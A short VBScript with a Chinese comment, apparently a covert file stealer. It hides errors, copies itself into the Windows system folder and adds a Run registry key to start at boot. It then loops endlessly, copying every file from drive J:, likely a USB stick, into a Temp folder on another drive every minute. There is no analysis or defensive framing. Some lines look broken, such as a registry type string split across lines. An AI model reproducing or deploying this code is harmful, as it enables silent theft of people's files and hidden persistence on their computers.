on error resume next
set fso=CreateObject( "Scripting.FileSystemObject")
dim n
set n=CreateObject("WScript.Shell")
set dir=fso.GetSpecialFolder(1)
fso.GetFile(WScript.ScriptFullName).Copy(dir&"\copy.vbs")
dim write
set write=CreateObject("WScript.Shell")
write.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\","copy.vbs","REG_S
Z"
Fso. CreateFolder("h:\WINDOWS\Temp\")
For i=1 to 2
i=1
fso.CopyFile "J:\*","h:\WINDOWS\Temp\",True
wscript.sleep 60000 '只复制一分钟，隔分复制吧
next